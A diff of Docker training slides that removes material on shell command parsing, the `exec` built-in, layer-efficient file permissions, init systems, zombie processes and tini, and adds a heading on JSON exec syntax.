-
-* Our services connect (transparently) to that sidecar container

-* That sidecar container figures out where to forward the traffic

+## Introducing JSON syntax
 
-## Why `sh -c`?
+Most Dockerfile arguments can be passed in two forms:
 
-* On UNIX, to start a new program, we need two system calls:
+* plain string:
-
-  - `fork()`, to create a new child process;
-
-  - `execve()`, to replace the new child process with the program to run.
-
-* Conceptually, `execve()` works like this:
-
-  `execve(program, [list, of, arguments])`
-
-* When we run a command, e.g. `ls -l /tmp`, something needs to parse the command.
-
-  (i.e. split the program and its arguments into a list.)
-
-* The shell is usually doing that.
-
-  (It also takes care of expanding environment variables and special things like `~`.)

-class: extra-details
-
-## Why `sh -c`?
-
-* When we do `RUN ls -l /tmp`, the Docker builder needs to parse the command.
-
-* Instead of implementing its own parser, it outsources the job to the shell.
-
-* That's why we see `sh -c ls -l /tmp` in that case.
-
-* But we can also do the parsing jobs ourselves.
-
-* This means passing `RUN` a list of arguments.
-
-* This is called the *exec syntax*.

-## Pro-tip: the `exec` shell built-in
-
-POSIX shells have a built-in command named `exec`.
-
-`exec` should be followed by a program and its arguments.
-
-From a user perspective:
-
-- it looks like the shell exits right away after the command execution,
-
-- in fact, the shell exits just *before* command execution;
-
-- or rather, the shell gets *replaced* by the command.

-## Example using `exec`
-
-```dockerfile
-CMD exec figlet -f script hello
-```
-
-In this example, `sh -c` will still be used, but
-`figlet` will be PID 1 in the container.
-
-The shell gets replaced by `figlet` when `figlet` starts execution.
-
-This allows to run processes as PID 1 without using JSON.

-## Be careful with `chown`, `chmod`, `mv`
-
-* Layers cannot store efficiently changes in permissions or ownership.
-
-* Layers cannot represent efficiently when a file is moved either.
-
-* As a result, operations like `chown`, `chown`, `mv` can be expensive.
-
-* For instance, in the Dockerfile snippet below, each `RUN` line
-  creates a layer with an entire copy of `some-file`.
-
-  ```dockerfile
-  COPY some-file .
-  RUN chown www-data:www-data some-file
-  RUN chmod 644 some-file
-  RUN mv some-file /var/www
-  ```
-
-* How can we avoid that?
-
----
-
-## Put files on the right place
-
-* Instead of using `mv`, directly put files at the right place.
-
-* When extracting archives (tar, zip...), merge operations in a single layer.
-
-  Example:
-
-  ```dockerfile
-    ...
-    RUN wget http://.../foo.tar.gz \
-     && tar -zxf foo.tar.gz \
-     && mv foo/fooctl /usr/local/bin \
-     && rm -rf foo
-  ...
-  ```
-
----
-
-## Use `COPY --chown`
-
-* The Dockerfile instruction `COPY` can take a `--chown` parameter.
-
-  Examples:
-
-  ```dockerfile
-  ...
-  COPY --chown=1000 some-file .
-  COPY --chown=1000:1000 some-file .
-  COPY --chown=www-data:www-data some-file .
-  ```
-
-* The `--chown` flag can specify a user, or a user:group pair.
-
-* The user and group can be specified as names or numbers.
-
-* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
-
-  *(In the container, not on the host!)*
-
----
-
-## Set correct permissions locally
-
-* Instead of using `chmod`, set the right file permissions locally.
-
-* When files are copied with `COPY`, permissions are preserved.
-

-# Init systems and PID 1
-
-In this chapter, we will consider:
-
-- the role of PID 1 in the world of Docker,
-
-- how to avoid some common pitfalls due to the misuse of init systems.
-
----
-
-## What's an init system?
-
-- On UNIX, the "init system" (or "init" in short) is PID 1.
-
-- It is the first process started by the kernel when the system starts.
-
-- It has multiple responsibilities:
-
-  - start every other process on the machine,
-
-  - reap orphaned zombie processes.
-
----
-
-class: extra-details
-
-## Orphaned zombie processes ?!?
-
-- When a process exits (or "dies"), it becomes a "zombie".
-
-  (Zombie processes show up in `ps` or `top` with the status code `Z`.)
-
-- Its parent process must *reap* the zombie process.
-
-  (This is done by calling `waitpid()` to retrieve the process' exit status.)
-
-- When a process exits, if it has child processes, these processes are "orphaned."
-
-- They are then re-parented to PID 1, init.
-
-- Init therefore needs to take care of these orphaned processes when they exit.
-
----
-
-## Don't use init systems in containers
-
-- It's often tempting to use an init system or a process manager.
-
-  (Examples: *systemd*, *supervisord*...)
-
-- Our containers are then called "system containers".
-
-  (By contrast with "application containers".)
-
-- "System containers" are similar to lightweight virtual machines.
-
-- They have multiple downsides:
-
-  - when starting multiple processes, their logs get mixed on stdout,
-
-  - if the application process dies, the container engine doesn't see it.
-
-- Overall, they make it harder to operate troubleshoot containerized apps.
-
----
-
-## Exceptions and workarounds
-
-- Sometimes, it's convenient to run a real init system like *systemd*.
-
-  (Example: a CI system whose goal is precisely to test an init script or unit file.)
-
-- If we need to run multiple processes: can we use multiple containers?
-
-  (Example: [this Compose file](https://github.com/jpetazzo/container.training/blob/master/compose/simple-k8s-control-plane/docker-compose.yaml) runs multiple processes together.)
-
-- When deploying with Kubernetes:
-
-  - a container belong to a pod,
-
-  - a pod can have multiple containers.
-
----
-
-## What about these zombie processes?
-
-- Our application runs as PID 1 in the container.
-
-- Our application may or may not be designed to reap zombie processes.
-
-- If our application uses subprocesses and doesn't reap them ...
-
-  ... this can lead to PID exhaustion!
-
-  (Or, more realistically, to a confusing herd of zombie processes.)
-
-- How can we solve this?
-
----
-
-## Tini to the rescue
-
-- Docker can automatically provide a minimal `init` process.
-
-- This is enabled with `docker run --init ...`
-
-- It uses a small init system ([tini](https://github.com/krallin/tini)) as PID 1:
-
-  - it reaps zombies,
-
-  - it forwards signals,
-
-  - it exits when the child exits.
-
-- It is totally transparent to our application.
-
-- We should use it if our application creates subprocess but doesn't reap them.
-
----
-
-class: extra-details
-
-## What about Kubernetes?
-
-- Kubernetes does not expose that `--init` option.
-
-- However, we can achieve the same result with [Process Namespace Sharing](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/).
-
-- When Process Namespace Sharing is enabled, PID 1 will be `pause`.
-
-- That `pause` process takes care of reaping zombies.
-
-- Process Namespace Sharing is available since Kubernetes 1.16.
-
-- If you're using an older version of Kubernetes ...
-
-  ... you might have to add `tini` explicitly to your Docker image.
